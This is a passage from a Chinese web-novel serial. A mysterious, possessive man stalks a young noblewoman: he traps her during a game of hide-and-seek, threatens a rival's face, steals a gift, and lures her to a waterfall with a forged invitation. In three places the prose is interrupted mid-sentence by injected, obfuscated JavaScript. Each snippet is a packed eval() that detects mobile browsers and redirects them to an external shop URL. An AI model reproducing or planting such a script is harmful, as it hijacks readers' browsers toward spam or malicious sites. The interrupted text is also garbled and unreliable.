两个时辰后,案头堆积的文书已处理大半。李清述放下朱笔,活动了一下手腕。窗外的日光透露进来,将书房内映出一片淡金的光晕,却丝毫无法融化他周身的寒意。 张庆适时奉上一盏温度刚好的参茶。 李清述接过后并未饮用,目光落在了腰间的白色玉佩上,温润的玉质在斜阳下泛着柔和的光,与这间冰冷肃杀的书房格格不入。 他伸出指尖,轻轻触碰了一下玉佩边缘,微凉的触感传来。 此刻他竟然觉得,政务是如此的乏味,明明之前是那般的纵情恣意、酣畅淋漓。 7. 捉迷藏 三日后,贺佑宁应邀前往参加礼部侍郎之女顾巧蕊的生辰小宴。 出门前,她特意选了身鲜亮的衣裳。一袭紫色绣折枝的云锦襦裙,外罩玉色缠枝莲纹杭绸褙子,发间除了一支玉簪子,又簪了两朵新摘的娇嫩欲滴海棠,薄施脂粉,更显容色。 镜中人眉目如画,唇色嫣然,显露出少女的明媚鲜妍。 “这才是我们岁岁该有的模样,”贺瑾安替她正了正鬓发边的花朵,柔声笑道,“这几日闷在房里,没病也要闷出病来。顾家小姐素来与你交好,去散散心也好。” “我知道啦阿姐。”贺佑宁在贺瑾安怀里撒了一会儿娇,这才乘车离府。 顾府与贺府相隔不远,马车很快便到了。 顾府今日处处透着喜庆。 贺佑宁被丫鬟引着,穿过垂花门,绕过影壁,来到后花园临水而建、四面通透的揽月轩。 顾府的宴席便是设在此处,来的多是年龄相仿的官家小姐,丝竹悦耳,气氛轻松活泼,桌上摆着时令鲜果与精巧点心。 此时轩内早已聚集了七八位年龄相仿的千金贵女们,皆是衣着鲜丽,笑语嫣然。 正中主位上坐着的,便是今日的寿星顾巧蕊。她穿着一身喜庆的洋红色遍地金花纹袄裙,头戴赤金累丝宝簪,一张小圆脸笑成了弯月,见到贺佑宁便亲热地拉她入座。 “岁岁!你可算来了!”顾巧蕊拉着她的手,上下打量,眼中是真切的欢喜,“这身紫裙子真衬你,越发显得人比花娇了。” “怎会忘了你?”贺佑宁笑着将备好的生辰礼送上,“前些日子确实有些懒怠,今日特地来给你赔罪。” 要不是那个玄明突然出现,害她乱了心绪,她也不会耽搁落下了一些事情。 其他小姐也纷纷与贺佑宁见礼寒暄。她们多是旧识,氛围轻松熟稔。 “岁岁,终于等到你了!” “今天可得罚你留到最后一个才能走!” “是啊,我们都看着呢,可不许中途偷偷溜走。” “好好好……我知道啦!”贺佑宁全都应下。 很快,丫鬟们奉上各色精巧茶点,席间开始了行令猜枚、投壶戏耍。 贺佑宁很快便被顾巧蕊和其她小姐们的活泼感染,也投入了游戏之中。 她本就聪慧,连赢了两局投壶,得了彩头一支点翠蝴蝶簪,心情越发愉悦起来。 阁内香风细细,笑语盈盈,窗外江水潺潺,柳丝轻拂。一切都美好得几乎要让她忘了那些令人不安的插曲。 宴至中途,众人正在赏玩一盆特意寻来的珍品兰花,便见顾文宣捧着一个小巧的锦匣走了进来。 顾文宣年方二十,一身雨过天青色直裰,衬得人愈发清俊温雅。 他年纪轻轻已是举人功名,生得面如冠玉,身姿挺拔,举止从容有礼,言谈谦和妥帖,加之出身清贵,学问扎实,在京中官宦子弟中名声颇佳。 他今日是受母亲之托,来为妹妹贺寿,并给在场的诸位小姐送上从江南带回的馥郁斋最新花样的绣帕作为小礼,以示顾府待客的周到。 “诸位妹妹安好,”顾文宣拱手行礼,声音清朗,“母亲命我送来些小玩意,聊表心意,还望各位妹妹莫要嫌弃。” 小姐们纷纷起身还礼道谢。 顾文宣一一分发锦盒,态度恭敬却不疏离,分寸拿捏得极好。轮到贺佑宁时,他依旧带着那温和的笑容,将锦盒递上:“贺妹妹,这是你的。家母说贺妹妹素喜清雅,特意选了这竹叶纹的。” “多谢顾公子,有劳顾伯母费心了。”贺佑宁连忙接过,回以微笑。 她打开锦盒,里面是一方素白底子的软缎绣帕,质地轻薄柔软,边角用极细的银线绣着几丛疏朗有致的竹叶,竹叶形态飘逸,银线在光线下泛着含蓄的微光,雅致而不失精巧,正合她的喜好。 她确实心生欢喜,不由得多看了两眼,指尖轻轻抚过那冰凉滑润的银线刺绣,由衷赞道:“顾伯母眼光真好,这竹叶绣得栩栩如生,银线用得也巧妙。” 此刻她心情不错,又被这雅致的绣帕吸引了注意力,暂时卸下了心防,专注欣赏着手中之物。 顾文宣见她喜欢,眼中笑意也深了几分:“贺妹妹喜欢就好。”他并未多留,又与其他几位小姐略寒暄两句,便礼貌地告退了。 绣帕的小插曲过后,席间气氛愈发热烈。不知是谁提议玩捉迷藏,立刻得到了小姐们的一致响应。 揽月轩本就宽敞,连着外面的游廊、假山、竹园,能藏身的地方不少,正是玩这个游戏的好去处。 为了增加趣味,还定下了彩头——一匣子新进的宫花。 抽签决定,第一轮被蒙上眼睛做“瞎子”的,恰好是贺佑宁。 一方质地柔软厚实的湖绸帕子被折了几折,严严实实地蒙住了贺佑宁的双眼,在她脑后系紧。眼前顿时陷入一片黑暗,只能听到周围小姐们刻意压低却依旧带着兴奋的轻笑声和窸窸窣窣的跑动声。 “岁岁,可不许偷看哦!” “我们要藏好啦!” “数到五十才能来找!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155020|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 贺佑宁站在原地,耳边是渐行渐远的脚步声,和从不同方向传来,努力憋住的隐约轻笑声。她心中跃跃欲试,开始慢悠悠地数数:“一、二、三……” 数到五十,她停下,侧耳倾听。 周围似乎已经完全安静下来,只有风吹竹叶的沙沙声和不远处隐约的流水声。 “我来找啦!”她扬声喊道,然后试探着伸出手,小心翼翼地向前摸索着迈步。 她记得揽月轩内的布局,也知道外面游廊和竹园的大致方位。凭着记忆和听觉,她先往轩内一处多宝阁后摸去,那里空间狭窄,但藏个身形娇小的人正合适。 她摸索着走过去,指尖触到冰凉光滑的紫檀木边框,又探向后面,空空如也。 “不在这里呀……”她嘀咕着,转身,又朝着记忆里一处垂着厚重帷幔的角落走去。帷幔后似乎有极其轻微的衣料摩擦声响。她心中一喜,放轻脚步,双手向前,准备来个突然袭击。 她屏住呼吸,指尖几乎要触碰到那冰凉滑腻的帷幔流顾,想象着后面藏着的小姐妹被发现时可能发出的惊呼和欢笑。 然而,就在她的手指即将拨开帷幔的刹那,她整个人被一股突如其来的温和力道一带,不受控制地一头栽进了一个完全出乎意料的所在。 不是冰冷的地板,也不是预料中小姐妹们柔软馨香的怀抱。 鼻尖首先撞上了一片质感细腻的衣料,带着一种她曾在极近的距离下嗅到过的气息,清冽如雪后松林,却又隐隐透着危险冷锐的气息。 随后是坚实而隐含力量的胸膛,隔着彼此的衣衫,能感受到其下沉稳的心跳和偏低的体温。 贺佑宁整个人都懵了,大脑一片空白,甚至忘了惊呼。蒙眼的绸帕剥夺了视觉,却让触觉与嗅觉变得异常敏锐。 这气息……这怀抱的感觉…… 她僵在原地,双手还保持着向前摸索的姿势,指尖却已抵在了对方胸前的衣料上。 一双修长有力的手臂,以一种极其自然却带着掌控意味的姿态,缓缓环上了她的腰背,将她更紧地按向自己。 她僵硬地趴在他怀里,甚至忘了立刻推开。直到那双修长有力的手臂,以一种不容抗拒的姿态,缓缓环上了她的腰背,将她更紧地按向他。 绸帕下的眼睛惊恐地睁大。 她能感觉到他微微低头,温热的气息拂过她的发顶。和未被绸帕覆盖的肌肤。然后,那道低沉悦耳,此刻却让她如坠冰窟的声音,带着一丝餍足般的慵懒,轻轻响起: “捉到你了。” 8. “你喜欢他那张脸?” “你……你先放开我!”贺佑宁的声音,此刻因狭窄逼仄的空间,而显得有些闷闷的。 回应她的,是一声极低的轻笑,仿佛羽毛搔过心尖。他微微低头,温热的气息拂过她敏感的耳廓,压低了的声音带着一丝玩味,轻轻送进她耳中。 “不是你自己投怀送抱的么?” “才不是!”贺佑宁有些羞恼,一把扯下眼睛的绸帕,愤愤地看向他,“我们在玩捉迷藏,是你自己擅闯进来的!” 眼前的男人依旧是一身纤尘不染的月白色广袖长袍,衣料在透过帷幔缝隙的朦胧光线下流淌着泠泠微光,仿佛自带一层隔绝尘嚣的屏障。 墨黑的长发未束冠,仅用一根同色丝带松松系在发尾,大半青丝流泻肩头,与冷白的肤色形成对比。 他身量极高,此刻正微微垂眸看着她,那张脸在昏暗的光线中清晰得惊心动魄。眉骨如峰,眼窝深邃,瞳仁颜色极深,里面地映着她此刻的模样,唇角噙着一丝极难察觉的弧度。 他并没有因为她的瞪视而有任何不悦或退让,反而就那样坦然地站着,任由她打量,周身隐隐强势的气息将她牢牢笼罩。 “好久不见。”他仿佛没有听见她的回话,轻轻笑起。 好久不见?明明才三天而已! 贺佑宁有些难以置信,错愕地看着他。 李清述继续说道:“你就那么喜欢那张帕子吗?” 贺佑宁呼吸一窒,看来他什么都看见了。她喉咙发紧,一个字也说不出来。 男人的声音顿了顿,似乎微微侧头,视线越过了她的上方,投向了刚才顾文宣离开的方向。然后,那平淡到令人毛骨悚然的语调再次响起: “还是说……” 他刻意放慢了语速,每一个字都像冰冷的石子,砸进贺佑宁的耳膜:“你喜欢他那张脸?” 还不待贺佑宁有任何反应,那声音不疾不徐继续响起,带着一种近乎残忍的认真,如同在讨论一件礼物的包装,轻轻吐出最后那句让她魂飞魄散的话: “若是喜欢,我可以把它剥下来,送给你。” “剥下来”三个字,他说得轻描淡写,毫无波澜。 贺佑宁如坠冰窟,浑身不受控制地轻颤起来。疯子!他怎么能用如此平静的语气,说出如此恐怖绝伦的话! 她毫不怀疑,以这个男人的疯狂和手段,他绝对说得出,做得到。 只要她说好,顾文宣那张温文俊秀的脸,下一刻就可能真的变成一件血淋淋的“礼物”,摆在她的面前。 贺佑宁僵硬地立在那里,背脊挺得笔直,仿佛一尊即将碎裂的瓷像。方才那点因绣帕和日光而生的好心情,早已荡然无存,只剩下无边的寒意与恐惧,密密实实地包裹上来。 “别紧张,我只是在说笑罢了。” 李清述眉眼微弯,仿佛想要缓和一下气氛。 但贺佑宁却怎么也平静不下来。 揽月轩外,隐约传来顾巧蕊带着笑意的呼唤:“岁岁?你跑到哪里去啦?再不出来我们可要去分宫花啦!” 李清述极其自然地撩开帷幔一角,外面的光线和隐约的说笑声更加清晰地透露进来。 他看向贺佑宁,面色平静,仿佛刚才那番暧昧的挟持从未发生。 “我先走了,再见。” 说完后,他身形一闪,便如同鬼魅般,悄无声息地消失在了撩开的帷幔之外,仿佛从未出现过。 帷幔轻轻晃动,重新垂落,将内外隔绝。 贺佑宁独自站在昏暗的角落,背靠着冰冷的墙壁,手中攥着那方皱巴巴的绸帕,耳边似乎还残留着他低沉的声音和温热的气息。 她深吸一口气,再缓缓吐出,努力平复着狂乱的心跳和稍显急促的呼吸。接着整理了一下略显凌乱的衣裙和发髻,然后将那方蒙眼帕子随手塞进袖中,掀开帷幔,朝着光亮和声音传来的方向,一步一步走了出去。 “我在这里!” 她挥手笑道,将所有的情绪都掩埋在心里。 捉迷藏的插曲让贺佑宁在接下来的宴席里,都有些心不在焉,难以专注。 但她依旧尽力和和小姐妹们说笑玩闹,而她们在分宫花时,也将最别致的一朵海棠绢花给了她。 宴席结束后,贺佑宁辞别了热情挽留的顾巧蕊,带着贴身丫鬟青果上了回府的马车。 车轮辘辘,碾过青石板路。 车厢内空间不大,却隔绝了外间的喧嚣。贺佑宁靠在柔软的锦垫上,微微吐出一口浊气,紧绷了一下午的心弦终于得以稍稍放松。 她闭上眼,指尖无意识地摩挲着袖袋,里面放着那方被当作彩头的海棠绢花。微凉的丝绸触感让她忽然又想起了顾文宣送的那方银线竹叶绣帕。 那帕子雅致,当时看了确实心生欢喜。 “青果,”她睁开眼,看向侍立在车厢角落的丫鬟,“方才顾公子送的那个锦匣,是你收着的么?拿出来我瞧瞧。” 青果闻言,连忙应声:“是,小姐。” 说着,她便低头去翻随身带着的那个靛蓝色绣缠枝莲的布囊。 那里装着一些零碎的物品,如备用的手帕、小镜、脂粉,还有收到的类似小礼物,通常都由她统一收在这个布囊里。 青果很快从布囊里取出那个暗红色织锦面的小锦匣,双手捧着递到贺佑宁面前:“小姐你看,在这儿呢。” 贺佑宁接过锦匣,入手沉甸甸的。 她面上带着浅笑,葱白的指尖轻轻拨开那小巧的铜扣,掀开匣盖,然而里面却空空如也。 预想中那方银线绣竹叶的素白软缎绣帕,不见了踪影。只有匣底衬着的深蓝色绸缎,在车厢壁灯的光线下,泛着幽暗的光泽。 贺佑宁的动作几不可察地顿了一下,捏着匣盖的指尖微微收紧。但她脸上的笑容却未减分毫,甚至眼神都没有太大的波动,只是目光在那空无一物的匣内多停留了一瞬,长长的睫毛垂下,遮掩了眸底骤然掠过的惊悸。 “小姐!这……这怎么可能?!” 一旁的青果也看到了空荡荡的锦匣,瞬间花容失色,声音惊惶,“奴婢……奴婢接过锦匣后,就直接放进了布囊里,从未打开过!帕子……帕子怎么会不见了?!” 她急得几乎要哭出来,手忙脚乱地又将布囊里的东西全部倒出来,在车厢地板上摊开,一样样仔细翻看,仿佛那方薄薄的绣帕能藏在哪个角落似的。可除了那些原先就有的物品,哪里有绣帕的影子? 贺佑宁看着青果慌乱无措、拼命自证清白的样子,心中那点因帕子丢失而起的惊悸被她强行压了下去。 她知道这丫头没有说谎,也绝不敢私藏。锦匣一直收在布囊里,布囊贴身带着……能在顾府人来人往中,神不知鬼不觉地打开锦匣,只取走里面一方绣帕,而让匣子和保管的人都毫无察觉…… 能做到这种事的,只有那个人。 那个如同鬼魅般,总能出现在她最意想不到的时刻和地方出现的男人。 “好了,青果。”贺佑宁开口,声音很平静,带着一丝温和的安抚,“别找了。” 青果抬起头,满眼都是惶惑与自责:“小姐,可是……” “许是我自己记岔了,”贺佑宁打断她,语气平淡,仿佛在说一件微不足道的小事,“可能当时看过后,随手放在顾府哪个地方,忘了收进匣子里。又或者,根本就没放进去。” 她一边说着,一边从容地将空锦匣的盖子重新合上,那声细微的“咔哒”轻响,在安静的车厢里显得格外清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155021|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晰。 她将锦匣递还给还在发愣的青果:“收起来吧。一方帕子而已,不是什么要紧东西,丢了便丢了。今日是顾小姐的好日子,莫要因为这点小事坏了心情,也别在顾府声张,免得主人家多想。” 青果看着自家小姐平静无波的脸,虽然心中依旧觉得蹊跷又自责,但见小姐似乎真的不在意,也只好接过空锦匣,重新放回布囊,又将散落的东西一一收拾好。 只是她仍低声道:“是,小姐……都是奴婢不小心……” “不关你的事。”贺佑宁柔声道,目光却已转向了窗外流动的夜色。 街边的灯笼光影在她脸上明明灭灭,映得她侧颜沉静,唯有那双交叠放在膝上的手,指尖微微陷进了柔软的裙料里,泄露出一丝内心的紧绷。 马车在贺府侧门停下。贺佑宁扶着青果的手下了车,步履如常,姿态优雅。暮色四合,府门前灯笼的光晕温暖,映照着她妍丽的面容,看不出半分异样。 “今日你也累了,早些歇着吧。”她对青果吩咐了一句,便转身,独自朝着内院走去。 夜风拂过,带来庭院中晚香玉的馥郁气息。 贺佑宁一步一步,走得平稳。 那个空锦匣,像是在无声地提醒着她。他的那双眼睛和那双手,从未远离过她。他能触及到她生活的任何角落。 无所遁形。 回到自己的闺阁内,贺佑宁没有立刻唤人洗漱,遣退了欲上前伺候的丫鬟后。 她走到房间内侧一个不起眼的紫檀木矮柜前。然后蹲下身,打开柜门,里面整齐叠放着几件旧衣。 她伸手探向最底层,摸索了片刻,指尖触到一个用厚实油布仔细捆扎严实的小包袱。这便是那日从皇宫“带”回,被她偷偷藏于此处的赃物。 她将那个空荡荡的暗红色锦匣放在旁边,两样东西并排放在一起。 贺佑宁的目光在这两样东西之间缓缓移动。 她抱起膝盖,将下巴轻轻搁在膝头,就那样静静地看着。 真是个……磨人。 这个念头突兀地浮现在脑海,带着一种连她自己都感到意外的,近乎无奈的认知。 是的,磨人。 他不同于她认知里任何一种危险。不是市井无赖的纠缠,不是权贵子弟的强取豪夺,甚至不是话本里那些爱而不得的偏执。 那些都有迹可循,或有法可解。 而他玄明……这个身份成谜、行事诡谲的男人,他的出现毫无规律,目的难以揣测。 他时而像兴致盎然的猎人,布下陷阱看她惊慌。时而又像拥有无上权柄的神祇或者魔鬼,随手“赐予”常人难以想象的珍宝与体验,不管她是否愿意承受。时而又像一个被宠坏且极其敏感、占有欲极强的孩子,会因为她对旁人赠与的一件小玩意儿多看一眼,就霸道地将其“没收”,只留下一个空壳,证明他的存在和不容忽视。 他像一场没有固定形态、却无处不在的迷雾,将她笼罩。你不知他何时会浓重到令人窒息,也不知他何时会淡去仿佛从未存在。他给予的“礼物”是烫手山芋,他带走的物品是无声警告。 这种无法预测、无法防备、无法以常理度之的侵扰,才最是磨人。 它不给你痛快的一击,却用细密而持续的方式,磨损你的心防,搅乱你的心神,让你在看似平静的日常里,始终绷紧一根弦,不知他下一次会以何种形式、在何时何地降临。 贺佑宁伸出手指,轻轻碰了碰那个空锦匣冰凉的缎面。 她觉得自己像是一只被无形丝线缠住的雀鸟,线的那一端,握在那个白衣墨发、俊美如谪仙却又危险如妖魔的男人手中。他并不急于收线,只是偶尔轻轻拨动,看她扑腾、惊慌,却又无法真正挣脱。 9. “你喜欢什么?” 几日后,贺佑宁收到了顾巧蕊遣人送来的花笺。这次不是宴请,而是一次寻常的邀约。 花笺上字迹飞扬,带着一贯的活泼:“岁岁,京郊新辟忘尘谷,有飞瀑流泉,野趣天成,景致绝佳,非城中园圃可比。更闻谷中藏一株百年古玉兰,花开如雪,幽香袭人,正值盛时。独赏可惜,特邀同往。明日巳时,谷口听泉石候君,不见不散。” 落款处画了只俏皮的兔子。 贺佑宁指尖摩挲着花笺,忘尘谷她亦有耳闻,是郊山一处新近才被文人雅士发现的自然幽谷,以清泉瀑布和野生的奇花古树闻名。 野趣、瀑布、百年玉兰……听起来确实比精致的园林更吸引人。 贺佑回了信,应下邀约。 次日,天公作美,碧空如洗。 贺佑宁只带了青果,乘着一辆轻便的小车出了城门,朝着忘尘谷方向而去。 马车在山路上迤逦而行,越走越僻静,空气也越发清新,带着草木泥土的芬芳。 约莫一个时辰后,马车停在了一处简易的石板路口,车夫指着前方掩映在郁郁葱葱林木中的一条小径道:“小姐,前头车马进不去了,忘尘谷入口就在那山坳里,沿着小径走不远便能看见听泉石。” 贺佑宁下了车,带着青果,步入林间小径。脚下是厚厚的落叶和松软的泥土,耳畔是清脆的鸟鸣和隐约传来的淙淙水声。阳光透过层层叠叠的树叶洒下斑驳的光影,空气中弥漫着湿润的草木气息,果然野趣盎然,令人心神一畅。 走了半盏茶的功夫,前方豁然开朗。一道白练般的瀑布从数十丈高的山崖飞泻而下,注入下方一汪碧幽幽的深潭,水声轰鸣,溅起蒙蒙水雾,在阳光下折射出小小的七彩。 一处天然形成的石台突兀地伸出于山壁之外,不远处便是那道气势磅礴的飞瀑。 石台边缘,几块表面平坦的巨大岩石被巧妙地摆放,如同天然的桌凳,其上竟已铺好了干净的布料。旁边一棵虬枝盘曲的古松伸展着苍劲的枝干,投下大片阴凉。这里便是所谓的听泉石了。 景致开阔壮丽,确实是个观瀑听泉的绝佳所在。 石台之上,已摆好了一套素白的天青釉瓷茶具,一壶清茶正袅袅冒着热气,旁边还放着两碟精致的、并非山中能得的桂花糕和玫瑰酥。一只小巧的竹编食盒搁在石凳上。 茶是温的,点心是新鲜的。显然有人先到了,并且备好了这些。 而除此之外,空无一人,并无顾巧蕊的身影。 “巧蕊?”贺佑宁唤了一声,声音立刻被巨大的水声吞没。她走近石桌,茶壶温热,点心新鲜,显然有人先到了。莫非巧蕊去附近探景了? 贺佑宁正疑惑间,一阵清越悠扬的笛声,忽然自那瀑布轰鸣的间隙里,飘飘渺渺地传了过来。 那笛声初时极轻,似有还无,如同山谷中一缕捉摸不定的风。但很快,便清晰起来,音色空灵澄澈,旋律古朴高远,并非时下流行的任何曲调,却奇异地与这飞瀑流泉、古木幽谷的环境融为一体,仿佛这笛声本就是山水之音的一部分。 贺佑宁怔住了,下意识地循声望去。 笛声传来的方向,并非瀑布上方或山谷对面,而是……瀑布里面,一处被几块巨大嶙峋的山石和几株斜逸而出的古松半掩着的地方。 水雾弥漫,日光透过水汽,形成一道朦胧的光幕。就在那光幕之后,山石之畔,一道修长挺拔的身影,隐约可见。 他随意地倚靠在一块光滑的巨石上,一袭月白色的衣袍在氤氲水汽中仿佛不染尘埃,衣袂随着山风与飘散的水雾轻轻拂动。墨黑的长发未束,只用一根同色发带松松系着,几缕发丝被水汽濡湿,贴在弧度优美的颈侧。他微微侧着头,手持一管青玉短笛,正专注地吹奏。 飞瀑如银河倒悬,在他身后轰鸣倾泻,溅起千堆雪。氤氲的水雾在他周身缭绕流转,日光穿透水雾,为他周身镀上了一层虚幻而圣洁的光晕。山风拂过,衣袂与长发共舞,水声与笛声和鸣。 那一瞬间,贺佑宁几乎忘了呼吸。 眼前这一幕,不像人间景象,倒像是从古老画卷中走出的谪仙,偶然在这人迹罕至的幽谷中显圣。那空灵的笛声,那绝世的身姿,那与天地山水浑然一体的气韵,带着一种震撼人心的,近乎神性的美丽与孤独。 她呆呆地站着,甚至忘了思考,忘了寻找顾巧蕊,忘了所有的不安与烦忧。只是 贺佑宁本能地被这超脱凡俗的景象所吸引,心神仿佛也随着那笛声,飘向了云雾深处。 笛声悠悠,最后一个尾音袅袅散去,余韵仿佛融入了轰鸣的水声与飒飒的风声之中,了无痕迹。 那道身影缓缓放下了玉笛。 然后,他转过身,隔着朦胧的水雾与不算近的距离,目光精准地投向了听泉亭中怔然独立的贺佑宁。 水汽模糊了他的面容,可贺佑宁却能清晰地感觉到那道视线,沉静,专注,带着一丝几不可察的……如愿以偿。 他并未立刻走来,只是就那样静静地望着她,仿佛在欣赏她此刻全然失神的模样。飞瀑依旧奔流,水雾依旧弥漫,他立于其间,白衣胜雪,墨发如瀑,恍若即将乘风归去。 贺佑宁的心跳,在短暂的停滞之后,骤然狂跳起来,比那瀑布的轰鸣更加震耳欲聋。 半晌后,她反应过来,这里根本没有顾巧蕊。 从一开始,这一切全都是他的安排。 都是他精心布置、请君入瓮的戏码。 水潭对面,那道白色的身影,终于动了。 他并未施展那骇人的轻功,只是如同寻常游人般,踩着潭边湿滑的卵石,步履从容地,朝着听泉亭,不疾不徐地走来。水雾在他身后拖曳出长长的、缥缈的痕迹,阳光勾勒出他修长完美的轮廓。 每一步,都仿佛踏在贺佑宁骤然收紧的心弦上。 随着距离的拉近,水雾不再能完全遮掩他的面容。那张脸,在朦胧的光影中逐渐清晰,依旧是那令人屏息的俊美。 只是此刻,或许是因为山间水汽的浸润,又或许是这幽谷天光的映照,他惯常的冰冷漠然似乎被冲淡了些许,多了几分出尘的飘逸,反而更显不真实。唯有那双眼睛,深不见底,清晰地映着听泉石边她伫立的身影,专注得令人心悸。 笛声早已停歇,山谷中只剩下瀑布永恒的轰鸣,此刻却仿佛成了某种沉重的声音,衬托着这无声逼近的压迫感。 贺佑宁下意识地后退了一步,脊背抵上了冰凉的石头。她想逃,可双脚如同被钉在了原地。环顾四周,除了来时那条林间小径,三面皆是陡峭山崖和深潭飞瀑,青果和车夫被她留在了马车上,此刻竟是求救无门。 他踏上了那道短短的石阶,月白色的衣袍下摆掠过湿润的青苔,却依旧纤尘不染。随着他的靠近,那股清冽如雪后松林的气息,再次将她笼罩。 最终,他在距离贺佑宁三步之遥处停下,目光平静地扫过亭内石桌上冒着热气的茶与精致的点心,最后落在她的脸上。 “茶尚温,”他开口,声音奇异地穿透了水声,清晰地传入贺佑宁耳中,语气平淡得如同在陈述事实,“点心也是新制的。” 贺佑宁紧紧攥着袖口,没有回话。 李清述看着她强作镇定的模样,眸色深了深。在石台的另一侧坐下,执起那只天青釉的茶壶,不紧不慢地斟了两杯茶。碧绿的茶汤注入素白的瓷杯,热气氤氲。 他将其中一杯,轻轻推到贺佑宁面前,“坐。”他只说了一个字,却带着不容置疑的意味。 贺佑宁兀自站着,没有动。 李清述也不催促,只是端起自己那杯,轻轻吹了吹浮沫,浅啜一口。姿态闲适,仿佛真是来此赏景品茗的雅士。 飞瀑的轰鸣持续不断,水雾随风飘入亭中,带来沁人的凉意,却吹不散亭内诡异凝滞的气氛。 时间在沉默中一点点流逝。 贺佑宁能感觉到他的目光。虽然并未一直落在她身上,而是时而望向奔流的瀑布,时而落在手中的茶杯上,可那无形的压力,却始终如影随形。 静立半晌后,贺佑宁暗叹一口气,她走到石台前坐下,将双手交叠放在膝上。 李清述似乎对她终于坐下这件事感到满意,虽然他的表情并无甚么变化,只又抿了一口茶。 他抬起眼,目光落在她紧绷的脸上,缓缓开口,语气淡淡:“茶要凉了。” 贺佑宁垂着眼,没有回应。 他也不在意,继续道:“这茶是谷中野茶,取瀑布源头活水烹煮,虽不及名茶精致,却别有一番山野清气。”顿了顿,补充一句,“你应该会喜欢。” 话说到这份上了,贺佑宁伸出手端起了面前那杯茶,然后将茶杯送到唇边,如同完成任务般,快速小口地喝了一点。温热的茶汤滑入喉中,带着一丝清苦,随后是淡淡的回甘,确实与平日所饮的香茗不同,更显质朴。 的确是好茶。 放下茶杯,贺佑宁抬起眼,直视着坐在对面的李清述。 水雾在他身后缭绕,白衣墨发,容颜绝世,坐在这天然石台之上,本该是仙人临凡般的画面。可贺佑宁只从他眼中看到了深不见底的幽暗,和一种令人不安的平静。 “玄……玄明道长,你费尽心机,伪造信物,将我骗至这荒山野谷,究竟……想做什么?”她听到自己的声音,因为情绪复杂而有些发紧。 她不再配合他那“偶遇”或“巧遇”的戏码,直接将话挑明。 “想做什么?”李清述重复了一遍她的话,指尖轻轻摩挲着光滑的杯沿,目光却依旧锁着她,“方才的笛声,不好听么?” 贺佑宁一窒,他竟还问这个? “还行……”她终究是回道。 她知道,他若是听不到她的答案,必定不会罢休。 “嗯。”李清述坦然承认,“学了一下,然后我便会了。”他说得轻描淡写,仿佛学会一支高难度的曲子,不过是件微不足道的小事。 贺佑宁:! 她来这里不是为了听他自吹自擂的! “你还没回答我的问题。”贺佑宁重复了一遍,不想被他带偏。 李清述静静地看着她,然后他放下茶杯,身体微微前倾,拉近了两人之间的距离。水雾似乎也随着他的动作飘近了些,那股清冽又危险的气息再次将她笼罩。 “没什么。只是忽然想见你。”他的声音低沉下来,带着一种奇异的近乎温柔的认真,却让贺佑宁浑身汗毛倒竖,“这山谷景致尚可,想着你或许会喜欢。那株玉兰,也开得正好。” 他的理由,简单到近乎蛮横,又荒谬到令人无言以对。 想见她,所以就能伪造顾巧蕊的信件将她诱骗至此?觉得景致好,她或许会喜欢,所以她就必须出现在这里,陪他赏景品茶? 贺佑宁看着他近在咫尺的,毫无玩笑之意的脸,忽然觉得一阵无力涌上心头。跟这个人,讲道理是没用的。他的逻辑自成一体,霸道而不可理喻。 “若我说不喜欢呢?”她听到自己干涩的声音问道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17155022|196546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李清述闻言,眉梢轻轻动了一下。他靠回石凳,重新拉开了距离,目光投向轰鸣的瀑布,侧脸在氤氲水汽中显得有些朦胧。 “不喜欢么……”他低声重复,语气听不出情绪。 在风声和水声里,李清述那平淡的语调再次响起,打破了长久的沉默,也将贺佑宁的心神拉回。 “那你喜欢什么?” 他没再看瀑布,目光重新落回她脸上,带着一种探究的专注,仿佛真的在认真询问她的喜好。 贺佑宁微微一怔,没想到他会突然问这个。 她抿了抿唇,垂下眼睫,避开他的视线,含糊道:“我……没什么特别的喜好。” “是么?”李清述的尾音微微上扬,带着一丝不置可否的意味。 他没有追问,只是端起茶壶,又为她添了些热茶,动作从容不迫。水汽氤氲,模糊了他脸上的神情。 “可我听闻,”他放下茶壶,声音不疾不徐,像是在陈述一件再寻常不过的事情,“贺家小姐偏好明丽鲜妍之色,春日爱鹅黄、柳绿、杏粉……夏日喜榴红、天青、藕荷……衣饰常缀以精巧的金玉,尤爱赤金点翠的蝴蝶簪,步摇起来灵动生辉。” 贺佑宁心头一跳,抬眼看他。 这些虽不算什么秘密,闺中好友和亲近之人大致知晓,可从他口中如此清晰地道出,却让她感到一阵莫名的不安。她今日为了出游精神,确实簪了支赤金蝴蝶簪。 